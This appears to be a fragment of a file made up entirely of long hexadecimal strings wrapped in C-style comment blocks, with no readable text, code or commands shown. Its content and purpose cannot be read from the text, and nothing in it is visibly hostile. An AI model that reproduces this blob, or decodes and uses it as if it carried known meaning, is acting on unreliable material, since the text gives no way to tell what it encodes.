624630849706bccb9c21d3cae85fc39d77c19539e0e3fe6c4f2fb30487cccef6e2e80fd32de41ce0aadb3e26ab81f6d113177e0a084a7fc8a0292a03c5f82c6f70d125677b2c5c3ccc4556e1c169b63d008efe71d746b671eb07bdf4eb70ff951eca378dbec12e7cf2273ccd4ae30d06b88e0d26af36077b98e979fc1157ca6fd142d189006691f45c14c366557c13b48b83cf6ea64388478d0b75d9b3d52bf94c7a17b3359ca2bbbf35467d3aa05a0df0acf40e6243b5aa9ec55fb24540c433d675c5eda6ebf89ad538ef0cac80b5d30f4f4aa62e33682ec366b943153121eea4cb1ba9757cc6610768ce25db6569d373867c1f97199688cb640b5784ca8b9779858b1f407fd9735c1d86377259fb00d5dbbadd5a8474a8dbfb17dba899b68dd3cf1febb9038d55d0a58cb19a20dff64178ea2507270ba3cf252313399280194873c76d20664c9590b9a219675c0279149dc9b259ddc7037c2969622e198f51d6f9f0b8dffdff24da377ed21aa4a959902d6a2ab1267e41d606e0486ed1ee7ca6affe46058ad1528f4db5f779e464fa9bf525523a80ac04cc8a1ce3d6245be59e1f6d761d2321d7b6c8a23ff7c0f8fdd439ed3f687e6f81ada4a134c6b7a269d3a277f74c1e9159e6d86dcfd5cf3ec9b1a953b7017e9da2838455e8c742e0e42c5223a1bf0abc211e4615b62fa024b96c0ee74d57845450529d26f8446fa909c40066356c16e9867404474808563c7a459b5ca03b6fdcb14d6dc8b35fa4c866eb9142a8e1dd8d0e8a2b87a645623e7a0de6741a3b8d3824f8925f71fb95a2cedfd7c97c0df1ff21b9975884f2ce3fce9de8922290216d6bb2d5ba040b3c7a68b5b3c3667c30aa2f907a9d78b0f5c96c8cc809007cf80847d30a3d938f3c94f3b4de902f6a71f7de87b7856258f41d8c986f4dc275b1475ab13421eb8fb3770a63c2591cd4cbc77a35bbe6b41ea2d04aed67a59f77dfaf31ecc3994f4465c83679c9b227631e9d27bc0a2a859b6df45deb38b06e83a9e9364c370c48ef7be2bfa4bb49f316bd4c074ac008e0ec8e96833ec4c478641bd7372c8a08fe1e45bc1f124aca88e4c5b35a469ef0e15c528a63670737030008843fa36ec87a1ed33eb4d479cc4dfb54562d91da785bfae139ae3b959ff3c472fb6c10b127768290754d43623a69dbd8993fb880fcb0c83f51b965467760bf3f894441110f061e10e2d5264d8e080c027e8cff7e2eacdb8a29e878ec6b32a649169b689c9ce6a0683d83e0b1cdd5347a6a3729d83e26ff1722f8ec4207d6c85e817082ba719b77f7ff4cbe08f3f617fffa23731d5c1e12390e72c64ba50f1c3574270f22d4f55f612927377e36a83607c307f101ea3da173a21668f06f9f1c1a50b5e549557bda8964dc8d08d9a686a571403ae2e86d1b01952868b07cf45602b94ae2cefc129bd5215c5df18096dcf5ccaffa7ca31925c4b1e4f374d3408af43fb727a9ed8681ae55ae293f90547f8251b82334fcf6a374b989d36fdd211a2924795f0982bb1b24d40af47f2a725030d0bf2ecd13a111f7c6a88427285657180bacedeed8906993a4f233186ae5584d23a37f5a842e1373f53c07e8623d73b2ba611c761e95e90c27616ed530e20fdac113a4fff6b0a339965e6f609e33ed8c924a8b369f15199de4473310cf2678c11181261026aa4297e48d09db1b6a6673aed4f8a74a401674e11dcbbcb52b0b1caae63ec331250ff6562d6727232b6917bef6fc7c0bbc70902bf769f032ae805db56162069c121f11654cd1ff9a5005083186ec8bb4d188036b830acf2b4bbc2e9d5e3a776fc23ae7c10d24d096fd51c36d50003780e598bd40ab7725fb54ded896e8b01d365649145478a0784f806a5d306e52170385f751efa2c1b4358e04fcda572cef0f1f7e343ee5c8fafdafee5df05ee07c701d7e18fb17cadf0114a3cb6febc2552a7e4db2309f4fb09aceaaca533f07e2eede32ee025f41441949d1f4093d7ee61c094a42b3befb14b35f552b99fcb5fc9030956daaa47e82b6170b950c7623f8235e237db419e0d425d1a3173a01753e6729ff6c4fc7efa8187b8be56c41aac444c9282b887792963e88c209be1b5c47*/
/*bc8499eeaa166668414e6c47099ce4a948b0ada1982d62a6d17b2c63411c2f686ba16045419740e82ecfd99c78f72788004c7d79dd21b8938857e3c3b5c22889de2b11db3f71c0fb1e95306a065e1322ea5138e6fcbef677f6cadd65b5ee8516a81cd10ededee888b9403c99ef866d34a97a1df8e4d8605fe6a893bd120cd86a37ecdda18841555f28d3059743dbfb25871ae56fa0f1691a1bb5b515e6ab8eda25ee236e891afba2e14dd6ae5d5071d8bd87c2ba9ff66187f37910982d6685e95de7b0081195d53265ea6cfe4dee35c476f42239e817a07d691105b0a6a75d7501dd588683777df6d3604d0ce4d63887042d0df614cb59df2459ea2334ec7539c76684c4ebe760087d935575fc749947114d06a969336b319827f08a033eeba2e21f9b1527fc1ba713472943ebe396f2ae279f3dbe56397cc1c70e89bbbbaf5d8f3c056d0b608952888eb03bdb5a2e5fa09ba8daf2ff600ff9c7346ce26caee3f4cc4bcc08f5e3d1a5d3bf61e0e3363d8b375a6b900a2b510ebf9997aca5d7807bf1d169a393626b6c34a7e5d20a22ea9ac1caaa0433ba71d1d6de23da9413a0134109b89fccdd08594f55eb361085279c8cc0638bb9d1af0ed239a46b1dfed2910fc4b07055967ed84d9d15bc86d663d726bc3129f0f0c06e25caa3764ef8effab98de75f33ed3bd89b67a46054602179527feb88f107e9085788c50884670efdd13b33646f486885c0ed8eaaa42c7e30aa600162f3906efb773c1a8fbc91d401b2e55e853adb7eeb766f66b0870458c39c884ecb812dcd0f6e5c7bc3c3897cfcca7dedffd0a117b644a96fd456dfabffffb36e04dce85e9aa9bbf61032dd8937b4344a63e93dfaa88d35e7ab0be5b46826ca96d91db6260b5cab9461c26f2e23bda402a5fd41d10a6d49c690e693a4e592a23f3dcbbb9fc85b905f91ddd1a23ea8f71e73b45ef6613ad3a6393232a6e25e330ac55e542dd6d49c6691f06971dc31ce7aeaee6c439da2d2bb69f09ca3b52dfed4233d8c5758182258953beca2f21b12f955a03d6ecc008f4184a581b3143f129fea5ec23cb7cdef0774e5f97bbbbf8cd2b2bca3b182668b84012cb5952b17f311f6f7e63b6393fb3c56ea8fb1c30a684851f6ca28a2e41dfc2ed8bb5f3e98753af4468da7c00600fac1aeda65059c4edeb9bc5631c6ce95b4eba95b4513a63c46883814d49989a1c8a7362741a72af28fea3a3fd9c334321006c562780dba1c80c926307df64a9c946f928b9bbbce65292a6e92f3266f0ca6f4a714141b729ba6fc1fcf4f2e4119ea4cedd0b94f7e917f5b58f98ceaf4f2b3b71510cf66d6bfbded3262ea86fddad0f55ee5014f75c18863c6c0cd9d0767f7df245e1fb3453f07b855118a612447d4e93d340a186be438df7ccfbe00739200e5167488230304a71689797f81998cba44a3b7a9a76713ca54b42b350c811a04e50b058f136af458387ec88fe99451c86450cc2e508e170af539ff9fa8a0c6db362148b08920134b9fc0038ff04eeb7e0ad7182016028ef1024e3d9cba94c97e25ca0796c0be50ec80264fdf0992045401f7fd656685eea1ad39dc4e474663db2dff09148dd250398521e8691b0305484747d625642284671a1ef6bc76ccbb8fc4983e8d68cfa23c6e7b0d1a071f718611b3d8ed61cbe341ba953714b0265f86ab88c0540109eaefe80970e6aa54a7af0b83f3416b0bd0456d9bf46d9813dd9cda7a9fd98e2ee72c344dabf4d7434fc2531851c16ca51628480ed1fd264bdd75ad06c9b42059e1aef310a9d0d1b40f53076026979f6fbc1fcb8964b45dad0afd6622e1ea5cf422398c0e406b2a86ccb0dbc52be48017c41d9dda0fd81faccd919c378ed2d0f82d0f1e908f7ce8745aa7eb0068403dadcb141303bd4f85080def71847e6cead37c58008184abeaba14cc8990c705bbeff772f884cd4c3ec7b4c5258170287d56c516d5bf1cc6f381ed2e94fd3f0a2320d7007e627570e76eb8644fbc206aeb5de144483ba19b94049702c1f9377ef3cc277815650df4c065770e752e371c42af28f019c8187528292da8ec7a771a1735cae541f6127b8b32bd8ce9d0802c8d80584cb85b1a08ed8a78dfbb9d2f211e034fe0d08c6a980fb843a83dca86efa6f546023a54a5a38ec6daf2de3367739e348d892a46e6087da5d8e8b77af360fdd0b9b7b766998fede1cd8e34ab900f6d046ebf1ce49e21d5b21ab574cc5cf60e66d3d61498bed67247fef13c981054057e644af67faa9efc95f91f16aa7a40a50a6fc61a19d93eb2993359face42d0b63444c5ace4ebe730a4ff7099972f24c60ab8283bd46f63edb2d2add975751bb6c6f1a0e1798380921a6213c22c3f2f75b15d40e46a515b83e3a79668e9e5986dd05e5f2e795ed3a83f823519dd953ef3b0717cd2923b0e12d8b6fd95cd9c5cb272bcde21fa5a8c05ea3714e61591b8ae0906405cce03f5a40fab3de2de180c16cd4e047c16262d1f1e357e66300e75e50c39d002a007824748ca898d5ef05fd7b3eb96b6c2ffa1baf7784323ccbdb665f9fe571ccb930d623ba9bb3e87dd3dcbbe0c4f1029fd8e1af1b3d92e7e12ca245755b4db7d35ba4855f7f781cf77f0117ec6009ab90233d52916e853dd1207a3fc191457078f4c43be220a879254001dd598badafb4196b9545c04df8af52ff4a3d137886f084d123e29c14f57e9d01e55826efaf2320ce3c990947e3f2a551aac4f949e3f6640e64ae71941d5395ea0471d88d221abbb856d9d926723217156d1485c7c1a39a21a652fd2f64b58e520550262f068edeb4e5bb4f9974fe8d1*/
/*9396c8f054c6c884ba82b7237916cdccaf9efd986616df29e63ee7206689aab08273af70964dda1caf987d8ec25a5c0e525249e73247fe2f1e13e21a972ae70d6ec8caf96a78d514992944136e1ba1f9cb50b8338b766f3e2cd7ae1afcc7aad4c574f7798014c3e98982a16be1e535f654e08003f12a6c3335ca5330d28dd9de16d744ce0a61bc436141b4d4fcd8a2ea234fd4e95983e18cd571ce77e8ac0b836460f58e978b694726cdc1f7038f1e4105a4115213de971b1a03a1f1b137c31e462a945d9a2118461cdd0abf50afa8112bbac995f298b51f4c9f14c5ab1b314e29d244a83b7bb42b44507a88d52d7489bcb1a7508ec562c8e2bc39a7936cf75c58b66a84217bf64226d9ac66a43a0079852f089f698411a37c268f6c96507a5dd442cd873a4b98db1e45ce4ff0b9c8cf9042cd5cba7c80b45a6e377bb77e24eb846c7883c80bd73eec729383f911325cb15052d9c745ecb01e582e09d9c61eafd85c0a4e9cd2dd22751f4a6e0d1bf351cdba3e5e80fa609a30c6addeda677a0602a158c77b2b1d5e0da4d2c64fea4f46f5bfe8eb1c0c41f6f0ecfcb4d3bc2556f30adca2b85e83b94e638227cab580dde6098537082c940fba24f5ba666b659620f21ed2b49de7e199dc40ea99404c39e7d49c1c45cad00e9b1782540539bbda51d298010fcb50cc690b69285968c5086d79182e2db6db258835ac40764e7bd59c32301437853d793cc7f6bac25e9983050fd7dcf2be5968d02cdcd1d6438dbd9a2410b3f5a520fe2c6d740e1962103776bad41894bc09b9e28ebc68d3eb23a5d726a530aa9c9a0e250c320c74f3e42b9c380812e87b3cf8778459e5beb7fa6662a23e8e3e1344ae3e68790f5eebc87d4344d99c137a5c9b4cc8d77aacacd3a207e8970d74e056a73ee17112a0fff3153d543305d517fd3e399c1608deda51a6b72b68fb76e6a4b4977dcfc2207617dec0a98f12477bd69ae82b7db602df3d8ae3289ff52f03eae80a0e9a1c22fb9d511a55aa71e14409fa5798d23adcb15456fe9bc2d9ce7cbe014113a89ff1047bc4a604c6feff7f5218c180c7f63610956920a02c66bc4f27b1cf9915370931c67a40294b0f689cad55fb10c232cb525a6656fa13cf321ea93a6fd50f51263c360aab64da4ffddc1a235ee50ede6042b08ea93fb5f3f0142e85828b5f7961e7ba43b24938480ea0816f4d40428556a2cc9ba686eab12df6d1d695bc797226993c41d61eea373321bf1a0f3ff220ba175a1d540bb1bff34b5df2e804409edb0a733d073b53380dc9bd9b9b59da22000cdff24e0dcb8d77a061d01793a885252d369f575dbdf6f131705f6d9c72d72b839e5d4ab78a2e7095e1de6a5c745159ff58cfd4773b90c416702a1cfa4cc34867fa5c40357f963dbc3b8fa3c4dbb3e940ae625750e189354b735fd78a169f348316899a96d14ffbea6e159158ece1ddd41aa73984296f8979362fc86869652d676926dffd28f4d0c381529fbb481a217b465126c4f73cfae3ecc648473d7212afa83de58451d54b470df664e067024a48c582ebc91cb667d6b7e7bc4de0beccd54dcb87d1bc2a26f590647939fc23c62c59a1c2644a3223123ddba5f77152497370d653ec716391c1ddbfb7b40d9f5f649161e09635629fbf8f9748252eb9510e665ec1d96925aecf7d88d11739b67d1caa857b379bbf19d93f5af6b43596cca60daa617c2e3644d1acf1c7ea470feab585de55e50f03be2248afc526956a66d3139260723945f24ec258bd4501d7199807821fdf601448e184f245767b5698f7b86b196e336c35e817ff43e4d33150b93fc69be6d0f0890dfc9b18b3640c7bbc425d896405f8127df281c6be593cf371329908cf9deb6374df7bc09084d96b3bd92fa733ff3f34e2c3b555e37ebf25a1130346f2bccdd0c695305c3daa25906f025e2827bc3e6c21956332a57e41aec6da1c0cee412c09f839b7fa02efd6da799044a5882473a4d313f881021704a7ec8f54881873f6f12ffaf5f17a662cb801190fc6e3bfb6d29ec59b0328c1aa2366ce1d5a194f0660b221d3ad4d9979ef446208b23c65e945d182c7fbc4edc58719ead4b406b4377db1a8d4f396aab61cd1d5dcde5bedfc0b85fa4f90e6532bf9b762d90b072cf4111b14c25baa7225e4081abbc1b0256d018620479188c0295843cf048fd9ba1ff669d6f8d1153f9b22c53d7443b99f9f0a8d90cf373772d6ff6b267914d1207c512c55da078b5cdc904e627aba91a730b0e9ba3fc540fea0c7e2a44496cce0c38b98e1ee3e14fdd6def07aeba058e49679bd5dca29fa018bff25c9f3fb1962a36dfdce4d7569665af7683839c5d83acd9aaed5486c15b632eb9c5a69ac7b99b5a475d163781bf8ecdb34e8613259da392a5afef0e9c8cf4a8339e0fb046b8c37b9988a77bd59a35a156909e844fc80d35be70f661a7df090cec60e26631e3ddbb184ebf827038d7f0587575cb8234a9fa6b24062e2d8f20d96648a058011be1f6868eac2b66a5b7944e0cd67918f054fcd4e1b6c0407667ac227c9a28c66ef62351b7669c8b7655cf8cdb46bf52561cfda099cf2dc8fdb98f32fea85d58e8fe9230e26d6c65cdf898fc7b2cdad403b70a2ec4c5020866f2d1eb6d73ee1be027a350a3ee440a8df26b005dd07c6903917f7cc961ad055f2a1b96f445acc6f0730e51d83b6c6cc53aeeadd8cb6eaf559d8ee2d8502f813c383ca716a1aab726f894ce1c8fed6771b20ec8f5dcd3a34cd5fb626334de0886d17f7529fed8957a4373c57c3386a7569fbe8d713dd69ee8f4378caa665a012d6024a671336*/
/*73b5fa4996d1f86e434cbe727ebb99909728bd405e205d543786423f9b24189dfc9adf5b80892060ae5281dd13ab95e160eee2d342e17fef087fcf9e7eca813907e59c7f0323fcc9cfd335fc545907797e71c61ed32962cbd77116a1a2022e4ecf99c9050755d86e88596474ee30d39c0c835ed09bc9da42a130bef33fb432abfd9544e3ccbdf61aa477e831a4ab3e1840c9c1576ecacb42cdf190110b6fc0c087a09bfa212ca11442d16dc2ae7ec80ed9d2e52dcef85422d55e713b813d11af1ac6cce3c6b4b61b35f1d3ee085c299b38df8af744eda2d96bccdeea31742298694a85211a079b506b7ed8817d90369540aa4bcb68a0d34d38756edf0d98782206f4dc5b6f7dfa01d02ee3a83afdfe920c002296db43f7a61cfc381317bf71cb0f69f91d40d6e670aa20d2a54f999243b42e2cdc80ddc4a778091a520f8ae84639ac066ed82a606c7584bc540e08d803c68fd8a1ef0383d5c56dd1cac8710ff97915264299c256b66f6661e972fadc7ff74db1299178a54776d0a362042a8fd32a17bf1adb86fc85e0f37cc7d36136397222bd51052a49883762cc790b0a4f7fbcdfd803a741d2fc1f6ce1dbd4ff2bea2b9e36a5b86eee2ed45b7580dd50bc7e58fd86b5cb2816c9c5540c6e96c2a5078805237eb7e7fd3d75869849f24dfbdf3e4fbd0d8dd75e07288ee6b4bfc2a45edbb7be5687f9464548df0b24b8754a4388aa03b625a3023e9f63d7415edad0f75fd20849f257fc11c49cbe8c3f1f5a5c939579ab97421119b303cdb3c7425b0d809f218deb6fe8d4db7822ebdea1451432fecb1ea19c9ad3fc1ca31812a67c4ecc87b30627796775ea1365589a649f0c1a2b132510aa94f88dff901c948dcef746aec3634f77fafdb375b513f3de4d7bd1fed9068b68e44010bc79fe78e8c0e252f252d4ed2e3ec7f5ead2fa50244d3779430dbc42f651a5147616ded8bd7ae8f9693aed50a97684e3c2cdea941b7c0381e161beafd002629875e04d4cafad5a0c88ff02ef4a7b985637155b156cf5ef0d71f1963966521953fb216fb706e679f7bfb063a337adab010b091f82ec7ef58abd77dc8328d9b988ae22352f8f01f918df937ca892df1456bf89e61b760b30f7bc8cdae6c5e8ba53741b70a22390c50655996ce76952d4c3d349a1fbac1a9669cb77fdfd76c8e1d49b4580ed89d12bbd75882e6994f50f2a969a76955024fe8a987fd99448aee17b834e705031b0e2eb5e7f92dd413d2fa7696ead11e4ff86ef4dd698ac89cca931f36a3a023ff516d2b518d86543b3f4d4f15311c845cf3d4f36daf028ba0dfcaf8504c5559676aa3e504e7fe497dc6e4d0f2080d261393a081b7258b053e01ee2dd9a6dd5b98b57694fe6067e21757975dc502d83eddaacbaa5584979bc76d749d8b98bdac71b291822e03eb03163c009cd0fff02410fb66cb01661440237be6c9ab8d0156478db3bddbc5ced22470bc837cd5f856d00aa63227b0501972fd0d237c773d47341eae080028fc7b311383f216162cfd6666810f34a9ea821aae94464d2d85896d8223fd4b8e9879615cb6e82ed54d117c4e4ceabc29e3eaaa95388b1fd4058d643eebea50d4fcc15591756828e882ece44e453ad673e030e0ebef60e349635ddfa1d4bab683ffc0e705e86aed8d70221ce29d5d5066e1fbe49cdba22d382e864650132a2cb28ed585c6dd22fb6cd2957cac2820ae5ca9049ea5a842b0bae7668a0af9908291591b43ed8f54e48fa0effa5b33933935a54e934e0ab8d39b24d8c9934712b9882ed5a2ca3a0fa1769352b16b23f5495620221ebb8e63c1eacc03a02f07971fcada774394619e660427845887b1214414a869a398133e0c8dd4a80676fe716c70018e5ec6ac3b4c4c4f4a9b4f91e1a3824035332cef7094f5bbab3b6045f581cea95c1de89631948357b910b3d3a6ea258f11a90ca6e328073daf8ec54b848469d20f9473949153fbfc4354bd5382c11112a878c196067f214eb627b128dbd6bcc58c5e26c2fd93d1aa5a42c80b7215bcbed37f6711267a32610a52f6765f492ecf075b28c806b7eb96301f47baeac6c739e14ce1971f59580477816056f62d880c7de39c3d9842b1ae5f1038974062caabdc070f070ee6d4f2856bab15899b7a9725993d1c4eca4b72ece16c95fa48cd63e033cc6c2e7e96e836034f954ea61e01957adbe1ab47f5c5945b3309bea7fff9ef9c7b63ec47a7d005beabb2974d4fe66816066649db74aa84418d6cd23e223b8fccd777770246b27e56defb18af43313680b9e66ea127e01ae43786f873951ba85410143073c5c19c0c455ce637f064eefed7f835a3082c74ded116f920164531b7163002725c0e70ef2f654260bdfdb9f0b113e796e01d2c0d9a5569759e5db92e415a80aae8d727241a37121b6d0e688118c6ffd456d299c64b9b39bc1fe71d18a8309e0ba763678f5b63557f1772a75d5d0ffe60edf7a4c7a1d0798d1b83586f345fd7d98159a029ae80c2537c72ca93ae41f5d14472fe8f98798c18acbf64f50181853653c95fa51dfe04187073678d4fca4dc47d749d71603d858c42445f99f454ff1950138fe25d815a2d78c27866749d88670315065e7a4f15ba2d671f1dc2a498df5b48b015f5a4c1f600381bccf88c265565aa2c84e651e29bece7d014eab5bbbacb523e6fcc5cfa0a20a52e3c06e148a2e74ec8b754f391031c3f10f253b5bb92f799b1f6b4a788ac06f398b4fd094d8f7cfeedc355c98894bab044459fd6b92132481a106304f4d64dc0f29e5366961f049d1fe4aebdbdd1bcc6b11dac0a13b25f2edb9c321*/
/*1e53b340f3ec0be02a49dde268f242ba8df7c26d17ec038d3a40f7054710c3ce48c6082836323637d3840e6e5d0bc91cfc71af2820e9b39ae121d47f8b32b61791c312569e0ff162ac25f6529ac79aa1c7cfd7056ffde99ccca3d586a9c5128ff9c52caf7a9fb52de3e6e59993b76c4856cbdde9c781e6f9dba8dcb689630ccd72cf24ee4a292635ed4fe633e029afacc305f2bc696d1c02f970a3f3313d3db7ff88a2b2cba527e92ead5cb975243a05986d2a96e4682801ff73d78d66f1779cb9e97ae03842dbce46f580f54980603bcd73bb01562781b8f40c4593db004bf288def7ec3d163123446348a32cb6b40741a88279daea69f6ce858d4d0d875062ff4dac6af9918fefe70e059d5549b7d8981dc4182d19d00e90985367a8f903f586ecfed47b217d54f7cc76051f23ed5d16c9d4d3b5725f37f6c343b8789cf3aa30dc77d84cba8c8c9aaaea5e0634c06dad37eacc9fcc7d674d22a29e777d5296dde510c5d0db230c8d4a368a2dcbcb5e645ac1e7e383cc6282402daf05fd5944e4a5b360396a407c013e456025094248dc6868294ff68b08a59060226d0a798336959261fd1321c5bccfc37b6120dc4b2294aae2ba14a2cd592a4201a0e58516829429775684fc404be3de0ad8ecb458f205e950eaabdc36a5401d17ef2cdb562dafd060672431c6dec1105e49f395167416afb8f787e65daf49119c58be39906a87eaa16039e1c6dbf1a15e6e4da56c6ced474c94a7d4a3e8b4db972822839cf23db078ffada8fdd9871472218c05f82376edc899e90160c49ba2ef351984703d22cac90215a889ca03bfdfe275d3e2d8e72ba62a48f75b8a234bc26a67e54a83e4035aa245ccdfaac8e9cda8ac3e9cb8372db3fc863b1ce5bc36e18a1c1f15c95d02918e2763744d8efc337207cc49cdf37e636166bdb95b479cd5327cf68ac878837a131826470c525162666f66f6a1ec243c6a6c7e8cd0d549b6e23340b5d5a08c74926e40652be452a12babf9d1facbf8e6d10267e7c6d8e874e2bb2244d16a7323cdf5535cdcaa42c15ac455f1a183ab1ffed327145917bf96d5ca1a74b3e081a9f021ae7fc5439cbe2bbbf8a69efc63ceabfa5f643182f55f7ed532c553242116eb3e44ef26f63953f3f39da27afa1665b5ab72b618079a1eb60607d532209624327c23e83db7d31323c1a2721893c0b5c1e387c7d9ca4ead171c17383412e1f62a752df7e1c58d7bdab2e1c8b5a0949dec2b2a2212578775246836a4fde361b2a2d81974655696007fb93442f68a01ad2037e6551cc037bcdf3f4c13ba71039788e19e58fc89700331485c8286aeb086382ac4e0f3bb729145835b260ed133f4d76c3d19e4e0e44c6ba1dcb7aded948d64831a13408a548bfba7af911d374536d219dc85de7b51c8f393fa0a63dd4cfd78508df2ea25e4262f36ab5e5b0b79ef582868e680ee60ce1be978244c382d9e0108c4c591651acf2d76bb2835a72df07ee3e08d4a275b31350f6447fa34a451f7d94838ee4ad81d3c2eac676c910904ca14a32f2b1bf9ae6f8e4ebbb45f9187a2a94e3b702364580e91615fd60b5dd7d85d5b6bdf6bd92144baff0d4725f27314abf0260d6f259747de4367799bccd86eeb68ce0950afc002dc7a9571796ae4bc76b186fc930cca0d6cd2932087f8dd0f3d3108971b98adc738f49eed23a2d1bb5371f11b9a78b5b8cc3bc51fe3c5fd7f2d6db4f1e8f9aebaf31f1cc97e4a2de8cb5bd2647413e8624a1bb84b18801bdc9fffb0c246ac848799a7c8cb4f4ee4610973a781ffa996b8a742c75d485a403a30e746d03de9a8679538fe6f9a8ffd2959464a26b5d9a17e4437417b56e0c047caf1be58dfe7ac566dfcad4bbfdf5205a8bd25467c665bb2549349d1b652ca22c4744d6128e625c73c6a13cc702396826e6d1d11c234f94da51bbaf10c6ad98af61b70263f81713c85b323d1c090ba92225a2e0e9174f55d7e3c6de71932fc024ed7ba15f6c33b0233c4ad6736d003b170722b71f91549bae0864bb887da0dd6b066c4bf9be922c1bedbc7252d7c330913714f0a37f32aa59b048967acc1ced74761a2b6d67a01c613959a550433e35a5176f364b98a0f98c690ed9af918a5c517a819c70b1d90053508a9562d797a476199556654c6986b57ebd0d1f6f5b01e6a21ebab64bda478d87935a36789151aeb79537bc4ad64cb6223e82086b2dfa3bf90d9f60350e826032f53f6bb8fa635d5fde32d397f9b344610cbe85190af0490348acdf46c7b4e4aac1b33dc9dffb8fed9749c831a696ee9916d44deddc368e428ec6b2447d6a92cc875e009b86aebe53ec08bca1a0152a9a849fe61ede7f5c121d1c45b449e0df023546f20649cd0f7a6c4d833299b793d14951de83a2a2e840797bbc5529b9a3206f00a3dc13c55d14010721f4c099d644daccb67e225193c9cb6e25162c3833c65b22f0a12463dc8a938d89b4e142aafaa0f91467f257023728223c17f5929a006cbe4c01f3e74bf7eae50c4a141fc25e2f0d93b886d2c6fde0af41af5ea1abefefc05f808fda7089e727599c03ebf2b89b9817ab1b88f5da9051f14a16a4b4645519cb164210699107a09c8d7d6d53d77f2348271a231557536c6303a77205552102fd07659aceec81802437aa156c6b1507185cf4747d4a067dcc10f93d4598fc49e5818377ddccb487be80a32b6424d2195783852a60d87cc62ad7c42e2ae09155644ba23e81471ef8492d596d2c947547848e0cd700f755898fd1b7e0a08ef2097ad3809f9c06d81bb7f21cb88ed936fbe23ba4aa305ca28bc06bbc73283ba9b*/
/*169b24d24eef8cb82d566493ab81d58ecb2acb8a5bdbca6c98529392d2bc1eecba0771ea6064906a35ec0f758b2fde2a54679d5e47e340461cc22ede1fb9f414339e990b7e75f5e30fb75535645af7e9c49af2bc0fb708bae7af43eb938242af760282ae33e09e75f0eb4b71b1d0087cac0a8a8b8b4e105d680a5b0215ff0ee686091d00fc4e6096eee4a45265ed0da2c8803b4aa3c701acae67f3515a63fe4da44c4417702851b4dffa5e9ba33dd323ba3c3047469aed1ae2562d5fdaec963f0391a5aa3af20e5b822244cbf65be43d96a2e74004363a1b27b794fac06ef667f32a55ca29be66c1aa11f10a3ee696d0f3593d0bb0d60f3873eee6fb1e25e7f451d24ff5cfef1d059a178905c928cf766d4bfaa6fea1d5a221a3e9e69dc56c58e6e5ae45f4454817469a3d0500e7528a357f9a540536499603156018eda28b9c7d1b12178c171a43cdeec3c3c46345f297fec1f04a33bd50175dd4faa7d861b9585e17c436d5e9a0dfa153c3f4c99317dd173d561c9c16295ea02be7ec27922659b0f05dc901756a4b9c4786deb4192ae73e33e50b370d63eb1893065a59b762aa90b68f98d9ee6bb7f13ae1be0760bd3d45154fd16f0f799641e88f42b33ba6e51c451a69289525a44d42be7217646a6ca22239782f35e127354c3c8c2f8b956a1d23bf75eeb0706fdd745f8f2063674efd858ea5ed64ece023eefd5172f634ff1f8173cd1f74c2beca39ee90d496e4925b3f10e464a0f120e5767fed5d062e63def03f39cd92b7a3f3bdd7efb0112b811e3f6c9411f65f819d28b9391552198454be7c794409f4bf9bf4ca0e2b53edcaed8c6b60a0832d16a234b1364c688a16b30121e29fb86c467cdbdb20fb2955ad57bd7106c83e7de0f18824f8fbb770cf9c61fdb954f00763f10aa9c6d44fb09b40ae170cb7d4235e8f3e3de1eecc55105fbebec964c1b0042b008b98db2b3cb6c0a50a02bcec395d1170654a169afce5a8b81e4edbd9689e7262eccbf0b323d712b860d1ab9b34f4e40bb1298ac9b17a6b4cb32c560e648443d03f14bb34389e3db4b0417588b5f51e017fa69a5eb2082e964d30f962cca3c9969c58efe4eb45c0c164b7b6ff01ed68dcd0375346dd0b6da811d02e4bb3dd813b0fb4b5b22bc15829288f73af721f217ce8a11b346d6aaed34c253ee8702ba064ef06093a089a29bbe6fb618fbc8acf68a1122ab2c2cb95a43ff27059b3b003f381ce6a90508c9446327e67be2bfc7f1c003172f6f5b0d61c4b429d18c5185d74a368ec7ec12bcfcdd351ceacc91c86bc79d4e3fc17d419a5673d52b23f1d3e24d105046e4e08e5c96ae02eb76c53d62ff77a6c8d4d2efa5d03ffca7e4122574a5b9d0917da143407bb155cdff507deae557cc0751e1ab4650a7bb8c4938b12f80df7ee8f6a5563bb3e2628cbaaf451740a4c42851f78640a6f74ac0a067fd649d94ef709fe27fefef162d840bc25c78cd691c956a473b04b21884db0f6c115eb00ab1cfdc65014789ad6a0deb45802f08f49c3ce58b0c365e206cef440b3ba26f5ee1633803dc9743727caf7f569cb126dbbb16198215efee6fa922e28bbc4565c99e39874ceae1dfc1ab5da962c029c24cab9b4d29e5c054c63c5d89ef6123684a0b2f07517c32a0b520c9607c82bf556b2f521a34bc6f3056c896d2b3d6086680a9fbe125ce9eb25ed149cf651f2c0f119392ecb27fa4f572ca698abefc710b387bbc93ca273a8f20cb6bf87c7ea1be936ee13319bbe154709f1276bc567e3482e795d1bec1903c54e4237371b77c4e9cf76e2ee99d213b4404eb2e8e8b71bc97b937596752345304a9270c4e54b5d11a86ee652b711ba2f6d93434c49e3ff7fab57810f6edaecd099fd7b0de053b5eef73647497adb9a5def7f9760e571cb052c2d6cf67e6cde84e555d40dc454fd1682070aa5c58923daf60974c9fb089cb452d23f46a90d1b7c835da697c0a870c719d3c5cf8a4fad4cab69181fc17b8c70c744a5c94bc107c09c30d7165fd5b735c1d2002d33568740a39923df2c0adb95b27175aae16ee0079c12a00b201c689de2364e7df937c2c2c13b0399046c682040c8b4eb2a026c7df081f3d405e36698f19a9938bc40fc7ba8edd89b692542fac1b37913c8d792544b8508422d19328ef2c7a55baa594f655dcb89a72b824d55812ec036843985804cec9887e649d45a095c88a81368e3ead5295dbd499766bece19bdfed0402a671b66c66cee7eb19d4da1dc27430b52acd38dc64a2605e005db5471a67ed1cd79722bf1f9bce3fd1b47d11fb9e2652a763080a8e1d77602acdc181e8dd8a20142ae8fab9db850f0890f173003607a37e4f311938a3f4775e99c8a7611ccd16f836d12d05b55cf894a19f3f86afb7d857a959c69e257019ab8a6c8158f893d23998b02417737492c84b88490b8d85aa5f98a89535bb52740cd68c8508ca3531d4e54315d2e0b859345e2ee5b264caace64145784031506253c4f73e12b10255a057612bfc8daf7e70e1aeb4017270efe45c5ae83fc45e2a5a10c4133615ef81d96c4bc28a303cb88ce24c301a69b91d612645c8ba4908c4ba34de8f13a71a60b88364569f4cfed6938a8d3a3c7f8679c596067ae7abaad7ef0c12035eaae5cb7e96100ddfdab880e821725e04bc167a23fc53db7aadcf8a2cdc0b36e6ee6ad6c9421328deb4bc7089c0d584d000fb9c88d84ae0a951db95c751f27fd2d1405b8466a36bbf9c8c91893550c0ec5f691663d0514223a62989ba5b4a05e004f